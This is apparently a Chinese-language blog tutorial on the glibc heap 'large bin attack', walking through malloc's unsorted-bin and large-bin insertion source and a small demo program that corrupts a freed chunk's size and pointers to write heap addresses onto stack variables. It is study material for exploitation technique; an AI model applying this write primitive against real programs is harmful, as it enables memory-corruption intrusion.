large_bin_attack

large bin attack

攻击效果：可以向任意的地址写入堆的地址

使用前提：存在UAF可以修改其data域

large bin介绍：

large bin中一共包含了63个bin链表，每个bin的差值应该为0x10(64位情况下)。并且63个bin被分为了6组。

大于512（1024）字节的chunk会被分类到large chunk，而large bin就是为了管理这些chunk，每一个large chunk除了prev_size,size,fd,bk之外，还加入了fd_nextsize和bk_nextsize(关于这些可以看堆基础)

源码分析（参考了先知社区的文章）

malloc六个堆块，实际大小为0x400，0x410，0x420，0x430，然后我们依次free可以得到下面这幅图

image-20240528222317181

  • 可以看出是从大到小排序（最小的fd为bin，最大的bk为bin）
  • 大小相同的由fd与bk相连接，并且按照free的时间排序
  • 各大小不同的第一个被free的堆块通过fd_nextsize与bk_nextsize相连接(也就是每个堆块的fd_nextsize与bk_nextsize会指向与自己大小不同的第一个堆块)
  • 最大的chunk的bk_nextsize会指向最小的chunk，最小的chunk的fd_nextsize会指向最大的chunk

以下为处理unsorted bin中chunk的代码：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))
{
    bck = victim->bk;
    if (__builtin_expect (chunksize_nomask (victim) <= 2 * SIZE_SZ, 0)
        || __builtin_expect (chunksize_nomask (victim)
                   > av->system_mem, 0))
            malloc_printerr (check_action, "malloc(): memory corruption",
                             chunk2mem (victim), av);
    size = chunksize (victim);

    /*
      If a small request, try to use last remainder if it is the
      only chunk in unsorted bin.  This helps promote locality for
      runs of consecutive small requests. This is the only
      exception to best-fit, and applies only when there is
      no exact fit for a small chunk.
    */

    if (in_smallbin_range (nb) &&
        bck == unsorted_chunks (av) &&
        victim == av->last_remainder &&
        (unsigned long) (size) > (unsigned long) (nb + MINSIZE))
    {
        /* split and reattach remainder */
        remainder_size = size - nb;
        remainder = chunk_at_offset (victim, nb);
        unsorted_chunks (av)->bk = unsorted_chunks (av)->fd = remainder;
        av->last_remainder = remainder;
        remainder->bk = remainder->fd = unsorted_chunks (av);
        if (!in_smallbin_range (remainder_size))
        {
            remainder->fd_nextsize = NULL;
            remainder->bk_nextsize = NULL;
        }

        set_head (victim, nb | PREV_INUSE |
                  (av != &main_arena ? NON_MAIN_ARENA : 0));
        set_head (remainder, remainder_size | PREV_INUSE);
        set_foot (remainder, remainder_size);

        check_malloced_chunk (av, victim, nb);
        void *p = chunk2mem (victim);
        alloc_perturb (p, bytes);
        return p;
    }

    /* remove from unsorted list */
    unsorted_chunks (av)->bk = bck;
    bck->fd = unsorted_chunks (av);

    /* Take now instead of binning if exact fit */

    if (size == nb)
    {
         set_inuse_bit_at_offset (victim, size);
         if (av != &main_arena)
             set_non_main_arena (victim);
         check_malloced_chunk (av, victim, nb);
         void *p = chunk2mem (victim);
         alloc_perturb (p, bytes);
         return p;
    }

    /* place chunk in bin */
    if (in_smallbin_range (size))
    {
        victim_index = smallbin_index (size);
        bck = bin_at (av, victim_index);
        fwd = bck->fd;
    }
    else
    {
        victim_index = largebin_index (size);
        bck = bin_at (av, victim_index);
        fwd = bck->fd;

        /* maintain large bins in sorted order */
        if (fwd != bck)
        {
             /* Or with inuse bit to speed comparisons */
             size |= PREV_INUSE;
             /* if smaller than smallest, bypass loop below */
             assert (chunk_main_arena (bck->bk));
             if ((unsigned long) (size) < (unsigned long) chunksize_nomask (bck->bk))
             {
                 fwd = bck;
                 bck = bck->bk;
                 victim->fd_nextsize = fwd->fd;
                 victim->bk_nextsize = fwd->fd->bk_nextsize;
                 fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
              }
              else
              {
                  assert (chunk_main_arena (fwd));
                  while ((unsigned long) size < chunksize_nomask (fwd))
                  {
                      fwd = fwd->fd_nextsize;
                      assert (chunk_main_arena (fwd));
                  }

                  if ((unsigned long) size == (unsigned long) chunksize_nomask (fwd))
                        /* Always insert in the second position.  */
                        fwd = fwd->fd;
                  else
                  {
                      victim->fd_nextsize = fwd;
                      victim->bk_nextsize = fwd->bk_nextsize;
                      fwd->bk_nextsize = victim;
                      victim->bk_nextsize->fd_nextsize = victim;
                  }
                  bck = fwd->bk;
              }
          }
          else
              victim->fd_nextsize = victim->bk_nextsize = victim;
    }

    mark_bin (av, victim_index);
    victim->bk = bck;
    victim->fd = fwd;
    fwd->bk = victim;
    bck->fd = victim;

在这个循环中，每次的迭代会检索当前unsorted bin中的最后一个chunk，如果最后一个chunk为（av）那么则退出循环。

接下来就会按照如下步骤对这个最后一个chunk进行操作：

1
2
3
4
if (in_smallbin_range (nb) &&
        bck == unsorted_chunks (av) && //检查为unsorted中最后一个chunk
        victim == av->last_remainder &&
        (unsigned long) (size) > (unsigned long) (nb + MINSIZE))

如果堆块是unsorted bin中的最后一个chunk，检索到的chunk的大小适合所请求的chunk，检索到的块是last remainder并且请求的字节小于MIN_LARGE_SIZE，，检索到的chunk将被分割成所请求大小的chunk和剩余chunk。请求大小的chunk将返回给用户，剩余的chunk将再次插入unsorted bin中

接下来

1
if (size == nb)

如果被free的堆块的大小等于请求的大小，则直接返回块

1
if (in_smallbin_range (size))

如果被free的堆块的大小在small bin的范围内，则获取相应的small bin的index，并将块插入small bin；如果以上条件都不满足，则认为其在large bin大小范围，进入chunk插入large bin的步骤。

1
2
3
4
5
6
if (fwd != bck)
{
   ~~~~~~~~~~~~       
}
else
    victim->fd_nextsize = victim->bk_nextsize = victim;

首先判断large bin是否为空，为空的话，直接将 chunk 的 fd_nextsize bk_nextsize 设置为自身

不为空则进行下一步

1
2
3
4
5
6
7
8
if ((unsigned long) (size) < (unsigned long) chunksize_nomask (bck->bk))
{
    fwd = bck;
    bck = bck->bk;
    victim->fd_nextsize = fwd->fd;
    victim->bk_nextsize = fwd->fd->bk_nextsize;
    fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
}

如果被free的堆块的大小小于large bin中最后一个块的大小，我们将被free的堆块作为最后一个块插入large bin中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
else
{
    assert (chunk_main_arena (fwd));
    while ((unsigned long) size < chunksize_nomask (fwd))
    {
        fwd = fwd->fd_nextsize;
        assert (chunk_main_arena (fwd));
    }

    if ((unsigned long) size == (unsigned long) chunksize_nomask (fwd))
        /* Always insert in the second position.  */
        fwd = fwd->fd;
    else
    {
        victim->fd_nextsize = fwd;
        victim->bk_nextsize = fwd->bk_nextsize;
        fwd->bk_nextsize = victim;
        victim->bk_nextsize->fd_nextsize = victim;
    }
    bck = fwd->bk;
}

否则，我们从链表头部开始遍历，直到找到第一个 size 大于等于待插入 chunk 的链表，找到后判断链表的 size 是否等于待插入chunk的size，如果相等，直接将这个 chunk 插入到当前链表的第二个位置，如果不相等，说明待插入的chunk比当前链表头结点的 size 大，那么我们将待插入的chunk作为当前链表的头结点，插入到符合size的bin index后。

例子：

接下来通过一段代码，来更好的对large bin attack有更好的了解。（源自：好好说话之Large Bin Attack_largebin attack-CSDN博客）

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
// gcc -g -no-pie hollk.c -o hollk
  2 #include <stdio.h>
  3 #include <stdlib.h>
  4 
  5 int main()
  6 {
  7 
  8     unsigned long stack_var1 = 0;
  9     unsigned long stack_var2 = 0;
 10 
 11     fprintf(stderr, "stack_var1 (%p): %ld\n", &stack_var1, stack_var1);
 12     fprintf(stderr, "stack_var2 (%p): %ld\n\n", &stack_var2, stack_var2);
 13 
 14     unsigned long *p1 = malloc(0x320);
 15     malloc(0x20);
 16     unsigned long *p2 = malloc(0x400);
 17     malloc(0x20);
 18     unsigned long *p3 = malloc(0x400);
 19     malloc(0x20);
 20 
 21     free(p1);
 22     free(p2);
 23 
 24     void* p4 = malloc(0x90);
 25 
 26     free(p3);
 27 
 28     p2[-1] = 0x3f1;
 29     p2[0] = 0;
 30     p2[2] = 0;
 31     p2[1] = (unsigned long)(&stack_var1 - 2);
 32     p2[3] = (unsigned long)(&stack_var2 - 4);
 33 
 34     malloc(0x90);
 35 
 36     fprintf(stderr, "stack_var1 (%p): %p\n", &stack_var1, (void *)stack_var1);
 37     fprintf(stderr, "stack_var2 (%p): %p\n", &stack_var2, (void *)stack_var2);
 38 
 39     return 0;
 40 }

1.在21行打上断点，让对应的堆块完成创建

image-20240531114543681

Screenshot_20240531_203032

2.接下来程序运行到24行

释放了p1和p2，由于P1的size为0x330，P2的size为0x410，两个chunk的size均超过了fast chunk的最大值，所以在释放P1、P2的时候，两个chunk均进入unsortbin链表中。这里还可以细分，由于P1的size小于0x3F0，所以P1最终应该归属为small bin中。P2大于0x3F0，所以P2最终应该归属为large bin中。

3.程序运行到26行

申请了一个0x90大小的chunk也就是p4先看程序的结果：

image-20240531150618227

  • 从unsorted bin中拿出最后一个chunk(P1)

  • 把这个chunk(P1)放进small bin中，并标记这个small bin中有空闲的chunk

  • 从unsorted bin中拿出最后一个chunk(P2)（P1被拿走之后P2就作为最后一个chunk了）

  • 把这个chunk(P2)放进large bin中，并标记这个large bin有空先的chunk

  • 现在unsorted bin中为空，从small bin中的P1中分割出一个小chunk，满足请求的P4，并把剩下的chunk(0x330 - 0xa0后记P1_left)放回unsorted bin中

  • 因为从最开始的源码可以看出，只要进行了申请就会对unsorted bin进行循环遍历，将unsorted中的chunk进行分类

4.程序运行到28行，释放p3：

image-20240531151146045

由于p3的size大于0x3F0，故而也会先放入unsorted bin

5.修改p2的内容

image-20240531151352583

Screenshot_20240531_205027

6.程序运行到36行执行malloc(0x90);

image-20240531155257989

与第一次分割chunk的过程一致，首先从unsorted bin中拿出最后一个chunk(P1_left size = 0x290)，并放入small bin中标记该序列的small bin有空闲chunk。再从unsorted bin中拿出最后一个chunk(P3 size = 0x410)，P3的size是大于0x3f0的，所以理所应当应该向large bin中挂，而上面的代码就是代表着要将当前释放的large chunk具体放到链表的哪个位置。

首先看到源码第一个if，把当前检索到的chunk size与链表中的比较（也就是比较p3与p2的大小）可以看到源码在循环的检索large bin中的每一个chunk与当前释放的chunk比较，只有当前chunk不小于large bin中的那个chunk才停止循环；然后进入第二个比较也就是查看是否等于已经检索到的那个large bin的链表size，如果等于就会把该chunk加入到这个链表去（而且总是会插入到链表的第二个位置）；很显然最后这个是大于的情况，而p2被修改了size为0x3f0，小于p3，所以将会执行else中的代码。

1
2
3
4
5
6
7
8
else
		{
			P3->fd_nextsize = P2;  //P3的fd_nextsize要修改成P2的头指针
			P3->bk_nextsize = P2->bk_nextsize; //P3的bk_nextsize要修改成P2的bk_nextsize指向的地址
			P2->bk_nextsize = P3;  //P2的bk_nextsize要修改成P3的头指针
			P3->bk_nextsize->fd_nextsize = P3; //P3的bk_nextsize所指向的堆块的fd_nextsize要修改成P3的头指针
		}
	bck = P2->bk; //bck等于P2的bk

7.最终结果

img

image-20240531202245975

large_bin_attack
http://ak0er.github.io/2024/05/05/large-bin-attack/
作者
Ak0er
发布于
2024年5月5日
许可协议